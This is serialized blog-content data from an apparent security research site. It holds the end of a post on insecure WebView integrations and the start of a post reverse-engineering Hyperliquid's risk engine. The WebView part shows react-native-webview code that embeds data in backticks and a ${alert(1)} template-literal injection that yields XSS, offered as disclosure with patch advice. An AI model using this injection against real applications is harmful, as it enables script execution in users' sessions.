snippet:",{"type":24,"tag":261,"props":165305,"children":165307},{"className":163543,"code":165306,"language":163545,"meta":7,"style":7}," private void injectJavascriptObject() {\n if (getSettings().getJavaScriptEnabled()) {\n String js = \"(function(){\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n \"})();\";\n evaluateJavascriptWithFallback(js);\n }\n",[165308],{"type":24,"tag":135,"props":165309,"children":165310},{"__ignoreMap":7},[165311,165331,165360,165394,165449,165554,165566,165579],{"type":24,"tag":271,"props":165312,"children":165313},{"class":273,"line":274},[165314,165318,165322,165327],{"type":24,"tag":271,"props":165315,"children":165316},{"style":278},[165317],{"type":29,"value":77571},{"type":24,"tag":271,"props":165319,"children":165320},{"style":3887},[165321],{"type":29,"value":595},{"type":24,"tag":271,"props":165323,"children":165324},{"style":598},[165325],{"type":29,"value":165326}," injectJavascriptObject",{"type":24,"tag":271,"props":165328,"children":165329},{"style":288},[165330],{"type":29,"value":23434},{"type":24,"tag":271,"props":165332,"children":165333},{"class":273,"line":284},[165334,165338,165342,165347,165351,165356],{"type":24,"tag":271,"props":165335,"children":165336},{"style":749},[165337],{"type":29,"value":46954},{"type":24,"tag":271,"props":165339,"children":165340},{"style":288},[165341],{"type":29,"value":1357},{"type":24,"tag":271,"props":165343,"children":165344},{"style":598},[165345],{"type":29,"value":165346},"getSettings",{"type":24,"tag":271,"props":165348,"children":165349},{"style":288},[165350],{"type":29,"value":37843},{"type":24,"tag":271,"props":165352,"children":165353},{"style":598},[165354],{"type":29,"value":165355},"getJavaScriptEnabled",{"type":24,"tag":271,"props":165357,"children":165358},{"style":288},[165359],{"type":29,"value":98811},{"type":24,"tag":271,"props":165361,"children":165362},{"class":273,"line":294},[165363,165368,165373,165377,165382,165386,165390],{"type":24,"tag":271,"props":165364,"children":165365},{"style":3887},[165366],{"type":29,"value":165367}," String",{"type":24,"tag":271,"props":165369,"children":165370},{"style":630},[165371],{"type":29,"value":165372}," js",{"type":24,"tag":271,"props":165374,"children":165375},{"style":624},[165376],{"type":29,"value":1712},{"type":24,"tag":271,"props":165378,"children":165379},{"style":378},[165380],{"type":29,"value":165381}," \"(function(){",{"type":24,"tag":271,"props":165383,"children":165384},{"style":5694},[165385],{"type":29,"value":5697},{"type":24,"tag":271,"props":165387,"children":165388},{"style":378},[165389],{"type":29,"value":5702},{"type":24,"tag":271,"props":165391,"children":165392},{"style":624},[165393],{"type":29,"value":17493},{"type":24,"tag":271,"props":165395,"children":165396},{"class":273,"line":303},[165397,165402,165406,165411,165415,165420,165424,165428,165432,165437,165441,165445],{"type":24,"tag":271,"props":165398,"children":165399},{"style":378},[165400],{"type":29,"value":165401}," \" window.\"",{"type":24,"tag":271,"props":165403,"children":165404},{"style":624},[165405],{"type":29,"value":4253},{"type":24,"tag":271,"props":165407,"children":165408},{"style":288},[165409],{"type":29,"value":165410}," JAVASCRIPT_INTERFACE ",{"type":24,"tag":271,"props":165412,"children":165413},{"style":624},[165414],{"type":29,"value":1012},{"type":24,"tag":271,"props":165416,"children":165417},{"style":378},[165418],{"type":29,"value":165419}," \" = window.\"",{"type":24,"tag":271,"props":165421,"children":165422},{"style":624},[165423],{"type":29,"value":4253},{"type":24,"tag":271,"props":165425,"children":165426},{"style":288},[165427],{"type":29,"value":165410},{"type":24,"tag":271,"props":165429,"children":165430},{"style":624},[165431],{"type":29,"value":1012},{"type":24,"tag":271,"props":165433,"children":165434},{"style":378},[165435],{"type":29,"value":165436}," \" || {};",{"type":24,"tag":271,"props":165438,"children":165439},{"style":5694},[165440],{"type":29,"value":5697},{"type":24,"tag":271,"props":165442,"children":165443},{"style":378},[165444],{"type":29,"value":5702},{"type":24,"tag":271,"props":165446,"children":165447},{"style":624},[165448],{"type":29,"value":17493},{"type":24,"tag":271,"props":165450,"children":165451},{"class":273,"line":312},[165452,165456,165460,165464,165468,165473,165477,165482,165486,165490,165494,165498,165502,165506,165511,165515,165520,165524,165529,165533,165537,165542,165546,165550],{"type":24,"tag":271,"props":165453,"children":165454},{"style":378},[165455],{"type":29,"value":165401},{"type":24,"tag":271,"props":165457,"children":165458},{"style":624},[165459],{"type":29,"value":4253},{"type":24,"tag":271,"props":165461,"children":165462},{"style":288},[165463],{"type":29,"value":165410},{"type":24,"tag":271,"props":165465,"children":165466},{"style":624},[165467],{"type":29,"value":1012},{"type":24,"tag":271,"props":165469,"children":165470},{"style":378},[165471],{"type":29,"value":165472}," \".injectedObjectJson = function () { return \"",{"type":24,"tag":271,"props":165474,"children":165475},{"style":624},[165476],{"type":29,"value":4253},{"type":24,"tag":271,"props":165478,"children":165479},{"style":288},[165480],{"type":29,"value":165481}," (injectedJavaScriptObject ",{"type":24,"tag":271,"props":165483,"children":165484},{"style":624},[165485],{"type":29,"value":5059},{"type":24,"tag":271,"props":165487,"children":165488},{"style":278},[165489],{"type":29,"value":77057},{"type":24,"tag":271,"props":165491,"children":165492},{"style":749},[165493],{"type":29,"value":104831},{"type":24,"tag":271,"props":165495,"children":165496},{"style":278},[165497],{"type":29,"value":77057},{"type":24,"tag":271,"props":165499,"children":165500},{"style":749},[165501],{"type":29,"value":42784},{"type":24,"tag":271,"props":165503,"children":165504},{"style":288},[165505],{"type":29,"value":1357},{"type":24,"tag":271,"props":165507,"children":165508},{"style":378},[165509],{"type":29,"value":165510},"\"`\"",{"type":24,"tag":271,"props":165512,"children":165513},{"style":624},[165514],{"type":29,"value":4253},{"type":24,"tag":271,"props":165516,"children":165517},{"style":288},[165518],{"type":29,"value":165519}," injectedJavaScriptObject ",{"type":24,"tag":271,"props":165521,"children":165522},{"style":624},[165523],{"type":29,"value":1012},{"type":24,"tag":271,"props":165525,"children":165526},{"style":378},[165527],{"type":29,"value":165528}," \"`\"",{"type":24,"tag":271,"props":165530,"children":165531},{"style":288},[165532],{"type":29,"value":16550},{"type":24,"tag":271,"props":165534,"children":165535},{"style":624},[165536],{"type":29,"value":1012},{"type":24,"tag":271,"props":165538,"children":165539},{"style":378},[165540],{"type":29,"value":165541}," \"; };",{"type":24,"tag":271,"props":165543,"children":165544},{"style":5694},[165545],{"type":29,"value":5697},{"type":24,"tag":271,"props":165547,"children":165548},{"style":378},[165549],{"type":29,"value":5702},{"type":24,"tag":271,"props":165551,"children":165552},{"style":624},[165553],{"type":29,"value":17493},{"type":24,"tag":271,"props":165555,"children":165556},{"class":273,"line":321},[165557,165562],{"type":24,"tag":271,"props":165558,"children":165559},{"style":378},[165560],{"type":29,"value":165561}," \"})();\"",{"type":24,"tag":271,"props":165563,"children":165564},{"style":288},[165565],{"type":29,"value":1069},{"type":24,"tag":271,"props":165567,"children":165568},{"class":273,"line":330},[165569,165574],{"type":24,"tag":271,"props":165570,"children":165571},{"style":598},[165572],{"type":29,"value":165573}," evaluateJavascriptWithFallback",{"type":24,"tag":271,"props":165575,"children":165576},{"style":288},[165577],{"type":29,"value":165578},"(js);\n",{"type":24,"tag":271,"props":165580,"children":165581},{"class":273,"line":339},[165582],{"type":24,"tag":271,"props":165583,"children":165584},{"style":288},[165585],{"type":29,"value":20365},{"type":24,"tag":25,"props":165587,"children":165588},{},[165589,165591,165597,165599,165604,165606,165612],{"type":29,"value":165590},"It basically injects a javascript code with the ",{"type":24,"tag":135,"props":165592,"children":165594},{"className":165593},[],[165595],{"type":29,"value":165596},"injectedJavascriptObject",{"type":29,"value":165598}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":24,"tag":135,"props":165600,"children":165602},{"className":165601},[],[165603],{"type":29,"value":165596},{"type":29,"value":165605},". If we control a single attribute we can inject a payload like ",{"type":24,"tag":135,"props":165607,"children":165609},{"className":165608},[],[165610],{"type":29,"value":165611},"${alert(1)}",{"type":29,"value":165613}," and achieve XSS in the context of the loaded page.",{"type":24,"tag":25,"props":165615,"children":165616},{},[165617,165619,165626],{"type":29,"value":165618},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":24,"tag":32,"props":165620,"children":165623},{"href":165621,"rel":165622},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[36],[165624],{"type":29,"value":165625},"PR with the report and fix",{"type":29,"value":41},{"type":24,"tag":25,"props":165628,"children":165629},{},[165630],{"type":29,"value":165631},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":24,"tag":25,"props":165633,"children":165634},{},[165635,165637,165643],{"type":29,"value":165636},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":24,"tag":135,"props":165638,"children":165640},{"className":165639},[],[165641],{"type":29,"value":165642},"injectedJavaScriptObject",{"type":29,"value":165644}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":24,"tag":85,"props":165646,"children":165647},{"id":10547},[165648],{"type":29,"value":10550},{"type":24,"tag":25,"props":165650,"children":165651},{},[165652],{"type":29,"value":165653},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":24,"tag":10562,"props":165655,"children":165656},{},[165657],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":165659},[165660,165664,165667,165668],{"id":163383,"depth":284,"text":163386,"children":165661},[165662,165663],{"id":163394,"depth":294,"text":163397},{"id":163469,"depth":294,"text":163472},{"id":163502,"depth":284,"text":163505,"children":165665},[165666],{"id":163692,"depth":294,"text":163695},{"id":165212,"depth":284,"text":165215},{"id":165287,"depth":284,"text":165290,"children":165669},[165670],{"id":10547,"depth":294,"text":10550},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":165675,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":165676,"description":165677,"date":165678,"author":165679,"image":165680,"isFeatured":16,"onBlogPage":16,"tags":165684,"hideToc":16,"body":165688,"_type":10599,"_id":172327,"_source":10601,"_file":172328,"_stem":172329,"_extension":10604},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":165681,"width":165682,"height":165683},"/posts/hyperliquid-risk-engine/title.png",1456,816,[165685,165686,165687],"hyperliquid","reverse-engineering","defi",{"type":21,"children":165689,"toc":172299},[165690,165696,165704,165709,165714,165719,165731,165736,165749,165768,165774,165786,165799,165804,165835,165840,165853,165858,166049,166055,166060,166072,166078,166083,166089,166102,166136,166141,166146,166158,166164,166184,166192,166205,166211,166222,166228,166240,166245,166251,166271,166279,166285,166319,166323,166359,166364,166369,166374,166387,166424,166429,166443,166449,166454,166480,166488,166493,166521,166526,166531,166869,166874,166879,166899,166926,166931,166944,166956,166961,166966,166972,166977,166982,166996,167001,167007,167035,167072,167083,167087,167092,167097,167103,167269,167304,167309,167315,167321,167510,167523,167528,167534,167555,167560,167566,167571,167576,167588,167593,167598,167604,167609,167614,167620,167626,167639,167672,167677,170253,170521,170526,171856,171861,171866,171878,171969,171981,171986,171992,171997,172005,172010,172018,172024,172058,172069,172077,172083,172089,172094,172102,172107,172112,172120,172132,172138,172143,172149,172160,172165,172171,172176,172181,172187,172192,172195,172200,172205,172211,172216,172228,172233,172238],{"type":24,"tag":62,"props":165691,"children":165693},{"id":165692},"perpetuals",[165694],{"type":29,"value":165695},"Perpetuals",{"type":24,"tag":10670,"props":165697,"children":165698},{},[165699],{"type":24,"tag":25,"props":165700,"children":165701},{},[165702],{"type":29,"value":165703},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":24,"tag":25,"props":165705,"children":165706},{},[165707],{"type":29,"value":165708},"What does that even have to do with reverse engineering?",{"type":24,"tag":62,"props":165710,"children":165711},{"id":165685},[165712],{"type":29,"value":165713},"Hyperliquid",{"type":24,"tag":25,"props":165715,"children":165716},{},[165717],{"type":29,"value":165718},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":24,"tag":25,"props":165720,"children":165721},{},[165722,165724,165729],{"type":29,"value":165723},"The node is tasked with a ",{"type":24,"tag":10648,"props":165725,"children":165726},{},[165727],{"type":29,"value":165728},"very hard problem",{"type":29,"value":165730},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":24,"tag":25,"props":165732,"children":165733},{},[165734],{"type":29,"value":165735},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":24,"tag":25,"props":165737,"children":165738},{},[165739,165741,165747],{"type":29,"value":165740},"Beyond that, the ",{"type":24,"tag":135,"props":165742,"children":165744},{"className":165743},[],[165745],{"type":29,"value":165746},"hl-node",{"type":29,"value":165748}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":24,"tag":25,"props":165750,"children":165751},{},[165752,165754,165759,165761,165766],{"type":29,"value":165753},"Armed with some curiosity, a good amount of ",{"type":24,"tag":10648,"props":165755,"children":165756},{},[165757],{"type":29,"value":165758},"inference",{"type":29,"value":165760},", and the right tooling, we'll take a deep dive using an ",{"type":24,"tag":10648,"props":165762,"children":165763},{},[165764],{"type":29,"value":165765},"interactive interface",{"type":29,"value":165767},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":24,"tag":62,"props":165769,"children":165771},{"id":165770},"the-million-dollar-question",[165772],{"type":29,"value":165773},"The Million Dollar Question",{"type":24,"tag":25,"props":165775,"children":165776},{},[165777,165779,165784],{"type":29,"value":165778},"Let's say a terrible trader opens a ",{"type":24,"tag":10648,"props":165780,"children":165781},{},[165782],{"type":29,"value":165783},"50x",{"type":29,"value":165785}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":24,"tag":25,"props":165787,"children":165788},{},[165789,165791,165797],{"type":29,"value":165790},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":24,"tag":135,"props":165792,"children":165794},{"className":165793},[],[165795],{"type":29,"value":165796},"compute_margin_requirement_by_mode",{"type":29,"value":165798}," function.",{"type":24,"tag":25,"props":165800,"children":165801},{},[165802],{"type":29,"value":165803},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":24,"tag":165805,"props":165806,"children":165807},"tip",{},[165808],{"type":24,"tag":25,"props":165809,"children":165810},{},[165811,165813,165818,165820,165827,165829,165834],{"type":29,"value":165812},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":24,"tag":10648,"props":165814,"children":165815},{},[165816],{"type":29,"value":165817},"click through",{"type":29,"value":165819}," each action performed by ",{"type":24,"tag":32,"props":165821,"children":165824},{"href":165822,"rel":165823},"https://github.com/renato-osec/patina-research",[36],[165825],{"type":29,"value":165826},"our Rust reverse engineering agent",{"type":29,"value":165828},". Return to the regular view by clicking ",{"type":24,"tag":135,"props":165830,"children":165832},{"className":165831},[],[165833],{"type":29,"value":13704},{"type":29,"value":41},{"type":24,"tag":165836,"props":165837,"children":165839},"bndb-viewer-embed",{"addr":165838,"line-start":156,"line-end":141344},"0x555556bb4d20",[],{"type":24,"tag":25,"props":165841,"children":165842},{},[165843,165845,165851],{"type":29,"value":165844},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":24,"tag":135,"props":165846,"children":165848},{"className":165847},[],[165849],{"type":29,"value":165850},"OptionUnitQty",{"type":29,"value":165852},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":24,"tag":25,"props":165854,"children":165855},{},[165856],{"type":29,"value":165857},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":24,"tag":261,"props":165859,"children":165860},{},[165861],{"type":24,"tag":135,"props":165862,"children":165865},{"className":165863},[11705,165864],"math-display",[165866],{"type":24,"tag":271,"props":165867,"children":165870},{"className":165868},[165869],"katex-display",[165871],{"type":24,"tag":271,"props":165872,"children":165874},{"className":165873},[11711],[165875],{"type":24,"tag":271,"props":165876,"children":165878},{"className":165877,"ariaHidden":5670},[11716],[165879,165910],{"type":24,"tag":271,"props":165880,"children":165882},{"className":165881},[11721],[165883,165887,165897,165901,165906],{"type":24,"tag":271,"props":165884,"children":165886},{"className":165885,"style":101250},[11726],[],{"type":24,"tag":271,"props":165888,"children":165890},{"className":165889},[11732,29],[165891],{"type":24,"tag":271,"props":165892,"children":165894},{"className":165893},[11732],[165895],{"type":29,"value":165896},"liq_equity",{"type":24,"tag":271,"props":165898,"children":165900},{"className":165899,"style":11908},[11810],[],{"type":24,"tag":271,"props":165902,"children":165904},{"className":165903},[11913],[165905],{"type":29,"value":762},{"type":24,"tag":271,"props":165907,"children":165909},{"className":165908,"style":11908},[11810],[],{"type":24,"tag":271,"props":165911,"children":165913},{"className":165912},[11721],[165914,165919],{"type":24,"tag":271,"props":165915,"children":165918},{"className":165916,"style":165917},[11726],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":24,"tag":271,"props":165920,"children":165922},{"className":165921},[11732],[165923,165927,166045],{"type":24,"tag":271,"props":165924,"children":165926},{"className":165925},[29402,120355],[],{"type":24,"tag":271,"props":165928,"children":165930},{"className":165929},[120360],[165931],{"type":24,"tag":271,"props":165932,"children":165934},{"className":165933},[11752,29327],[165935,166033],{"type":24,"tag":271,"props":165936,"children":165938},{"className":165937},[11757],[165939,166028],{"type":24,"tag":271,"props":165940,"children":165943},{"className":165941,"style":165942},[11762],"height:1.427em;",[165944,165984,165995],{"type":24,"tag":271,"props":165945,"children":165947},{"style":165946},"top:-2.314em;",[165948,165952],{"type":24,"tag":271,"props":165949,"children":165951},{"className":165950,"style":119008},[11771],[],{"type":24,"tag":271,"props":165953,"children":165955},{"className":165954},[11732],[165956,165961,165965,165970,165974],{"type":24,"tag":271,"props":165957,"children":165959},{"className":165958},[11732],[165960],{"type":29,"value":165},{"type":24,"tag":271,"props":165962,"children":165964},{"className":165963,"style":11811},[11810],[],{"type":24,"tag":271,"props":165966,"children":165968},{"className":165967},[11816],[165969],{"type":29,"value":118099},{"type":24,"tag":271,"props":165971,"children":165973},{"className":165972,"style":11811},[11810],[],{"type":24,"tag":271,"props":165975,"children":165977},{"className":165976},[11732,29],[165978],{"type":24,"tag":271,"props":165979,"children":165981},{"className":165980},[11732],[165982],{"type":29,"value":165983},"leverage",{"type":24,"tag":271,"props":165985,"children":165986},{"style":120410},[165987,165991],{"type":24,"tag":271,"props":165988,"children":165990},{"className":165989,"style":119008},[11771],[],{"type":24,"tag":271,"props":165992,"children":165994},{"className":165993,"style":120420},[120419],[],{"type":24,"tag":271,"props":165996,"children":165998},{"style":165997},"top:-3.677em;",[165999,166003],{"type":24,"tag":271,"props":166000,"children":166002},{"className":166001,"style":119008},[11771],[],{"type":24,"tag":271,"props":166004,"children":166006},{"className":166005},[11732],[166007,166013,166023],{"type":24,"tag":271,"props":166008,"children":166010},{"className":166009},[11732],[166011],{"type":29,"value":166012},"∣",{"type":24,"tag":271,"props":166014,"children":166016},{"className":166015},[11732,29],[166017],{"type":24,"tag":271,"props":166018,"children":166020},{"className":166019},[11732],[166021],{"type":29,"value":166022},"notional",{"type":24,"tag":271,"props":166024,"children":166026},{"className":166025},[11732],[166027],{"type":29,"value":166012},{"type":24,"tag":271,"props":166029,"children":166031},{"className":166030},[29430],[166032],{"type":29,"value":29433},{"type":24,"tag":271,"props":166034,"children":166036},{"className":166035},[11757],[166037],{"type":24,"tag":271,"props":166038,"children":166041},{"className":166039,"style":166040},[11762],"height:0.8804em;",[166042],{"type":24,"tag":271,"props":166043,"children":166044},{},[],{"type":24,"tag":271,"props":166046,"children":166048},{"className":166047},[29424,120355],[],{"type":24,"tag":62,"props":166050,"children":166052},{"id":166051},"what-if-nobody-wants-to-buy-the-position",[166053],{"type":29,"value":166054},"What If Nobody Wants to Buy the Position?",{"type":24,"tag":25,"props":166056,"children":166057},{},[166058],{"type":29,"value":166059},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":24,"tag":25,"props":166061,"children":166062},{},[166063,166065,166070],{"type":29,"value":166064},"When that happens, the exchange is basically left with a ",{"type":24,"tag":10648,"props":166066,"children":166067},{},[166068],{"type":29,"value":166069},"hot potato",{"type":29,"value":166071}," to get rid of: what should it even do with the debt?",{"type":24,"tag":43040,"props":166073,"children":166075},{"id":166074},"the-risk-engine",[166076],{"type":29,"value":166077},"The Risk Engine",{"type":24,"tag":25,"props":166079,"children":166080},{},[166081],{"type":29,"value":166082},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":24,"tag":62,"props":166084,"children":166086},{"id":166085},"clearing-up-bad-debt",[166087],{"type":29,"value":166088},"Clearing Up Bad Debt",{"type":24,"tag":25,"props":166090,"children":166091},{},[166092,166093,166100],{"type":29,"value":1422},{"type":24,"tag":32,"props":166094,"children":166097},{"href":166095,"rel":166096},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[36],[166098],{"type":29,"value":166099},"Hyperliquid docs",{"type":29,"value":166101}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":24,"tag":25,"props":166103,"children":166104},{},[166105,166107,166118,166120,166126,166128,166134],{"type":29,"value":166106},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":24,"tag":32,"props":166108,"children":166111},{"href":166109,"rel":166110},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[36],[166112],{"type":24,"tag":135,"props":166113,"children":166115},{"className":166114},[],[166116],{"type":29,"value":166117},"Clearinghouse",{"type":29,"value":166119},", a struct containing all liquidation-related info, nested within a bigger ",{"type":24,"tag":135,"props":166121,"children":166123},{"className":166122},[],[166124],{"type":29,"value":166125},"Exchange",{"type":29,"value":166127}," data structure. This is an example of what it might hold when serialized as ",{"type":24,"tag":135,"props":166129,"children":166131},{"className":166130},[],[166132],{"type":29,"value":166133},"MessagePack",{"type":29,"value":166135}," at runtime.",{"type":24,"tag":25,"props":166137,"children":166138},{},[166139],{"type":29,"value":166140},"This data will come in handy both for us and the agent.",{"type":24,"tag":166142,"props":166143,"children":166145},"file-download",{"path":166144},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":24,"tag":25,"props":166147,"children":166148},{},[166149,166151,166156],{"type":29,"value":166150},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":24,"tag":135,"props":166152,"children":166154},{"className":166153},[],[166155],{"type":29,"value":166117},{"type":29,"value":166157},". Some renaming later, we can infer something like this:",{"type":24,"tag":165836,"props":166159,"children":166163},{"source":166160,"target":166161,"direction":166162},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":24,"tag":25,"props":166165,"children":166166},{},[166167,166169,166174,166176,166182],{"type":29,"value":166168},"We have one huge function handling all clearinghouse operations, which we call ",{"type":24,"tag":135,"props":166170,"children":166172},{"className":166171},[],[166173],{"type":29,"value":166161},{"type":29,"value":166175},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":24,"tag":135,"props":166177,"children":166179},{"className":166178},[],[166180],{"type":29,"value":166181},"exchange_end_block",{"type":29,"value":166183},". So, at the end of each block we run some checks.",{"type":24,"tag":165805,"props":166185,"children":166186},{},[166187],{"type":24,"tag":25,"props":166188,"children":166189},{},[166190],{"type":29,"value":166191},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":24,"tag":25,"props":166193,"children":166194},{},[166195,166197,166203],{"type":29,"value":166196},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":24,"tag":135,"props":166198,"children":166200},{"className":166199},[],[166201],{"type":29,"value":166202},"clearinghouse.perform_auto_deleveraging",{"type":29,"value":166204}," flag.",{"type":24,"tag":165836,"props":166206,"children":166210},{"addr":166207,"line-start":166208,"line-end":166209},"0x555556ac3850","3290","3301",[],{"type":24,"tag":25,"props":166212,"children":166213},{},[166214,166216,166221],{"type":29,"value":166215},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":24,"tag":135,"props":166217,"children":166219},{"className":166218},[],[166220],{"type":29,"value":166117},{"type":29,"value":10887},{"type":24,"tag":85,"props":166223,"children":166225},{"id":166224},"threshold-condition",[166226],{"type":29,"value":166227},"Threshold Condition",{"type":24,"tag":25,"props":166229,"children":166230},{},[166231,166233,166238],{"type":29,"value":166232},"The natural connection between liquidations and ADL is ",{"type":24,"tag":10648,"props":166234,"children":166235},{},[166236],{"type":29,"value":166237},"shortfall",{"type":29,"value":166239},": by how much a position, or the entire system (!), is underwater.",{"type":24,"tag":25,"props":166241,"children":166242},{},[166243],{"type":29,"value":166244},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":24,"tag":26585,"props":166246,"children":166248},{"id":166247},"who-is-underwater",[166249],{"type":29,"value":166250},"Who Is Underwater?",{"type":24,"tag":25,"props":166252,"children":166253},{},[166254,166256,166261,166263,166269],{"type":29,"value":166255},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":24,"tag":135,"props":166257,"children":166259},{"className":166258},[],[166260],{"type":29,"value":166161},{"type":29,"value":166262},", starting from all user positions, which are stored in ",{"type":24,"tag":135,"props":166264,"children":166266},{"className":166265},[],[166267],{"type":29,"value":166268},"clearinghouse.user_states",{"type":29,"value":166270},", as we can also see from the serialization.",{"type":24,"tag":165805,"props":166272,"children":166273},{},[166274],{"type":24,"tag":25,"props":166275,"children":166276},{},[166277],{"type":29,"value":166278},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":24,"tag":165836,"props":166280,"children":166284},{"source":166281,"target":166181,"direction":166282,"path":166283},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":24,"tag":25,"props":166286,"children":166287},{},[166288,166289,166294,166296,166302,166304,166310,166312,166318],{"type":29,"value":1422},{"type":24,"tag":135,"props":166290,"children":166292},{"className":166291},[],[166293],{"type":29,"value":166281},{"type":29,"value":166295}," essentially turns that into an ",{"type":24,"tag":135,"props":166297,"children":166299},{"className":166298},[],[166300],{"type":29,"value":166301},"Iter",{"type":29,"value":166303},", then, inside of ",{"type":24,"tag":135,"props":166305,"children":166307},{"className":166306},[],[166308],{"type":29,"value":166309},"build_adl_candidate_set",{"type":29,"value":166311}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":24,"tag":135,"props":166313,"children":166315},{"className":166314},[],[166316],{"type":29,"value":166317},"AdlIterEntry",{"type":29,"value":7986},{"type":24,"tag":165836,"props":166320,"children":166322},{"type-name":166321},"AdlIterContext",[],{"type":24,"tag":25,"props":166324,"children":166325},{},[166326,166328,166334,166336,166342,166344,166350,166352,166357],{"type":29,"value":166327},"Note that in storage, ",{"type":24,"tag":135,"props":166329,"children":166331},{"className":166330},[],[166332],{"type":29,"value":166333},"Isolated",{"type":29,"value":166335}," positions have their own independent ",{"type":24,"tag":135,"props":166337,"children":166339},{"className":166338},[],[166340],{"type":29,"value":166341},"Entry",{"type":29,"value":166343}," in the position iterators, and ",{"type":24,"tag":135,"props":166345,"children":166347},{"className":166346},[],[166348],{"type":29,"value":166349},"Cross",{"type":29,"value":166351}," positions have a single common ",{"type":24,"tag":135,"props":166353,"children":166355},{"className":166354},[],[166356],{"type":29,"value":166341},{"type":29,"value":166358},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":24,"tag":165836,"props":166360,"children":166363},{"addr":166361,"line-start":51921,"line-end":166362},"0x555556266b10","163",[],{"type":24,"tag":25,"props":166365,"children":166366},{},[166367],{"type":29,"value":166368},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":24,"tag":165836,"props":166370,"children":166373},{"addr":166207,"line-start":166371,"line-end":166372},"506","527",[],{"type":24,"tag":25,"props":166375,"children":166376},{},[166377,166379],{"type":29,"value":166378},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log 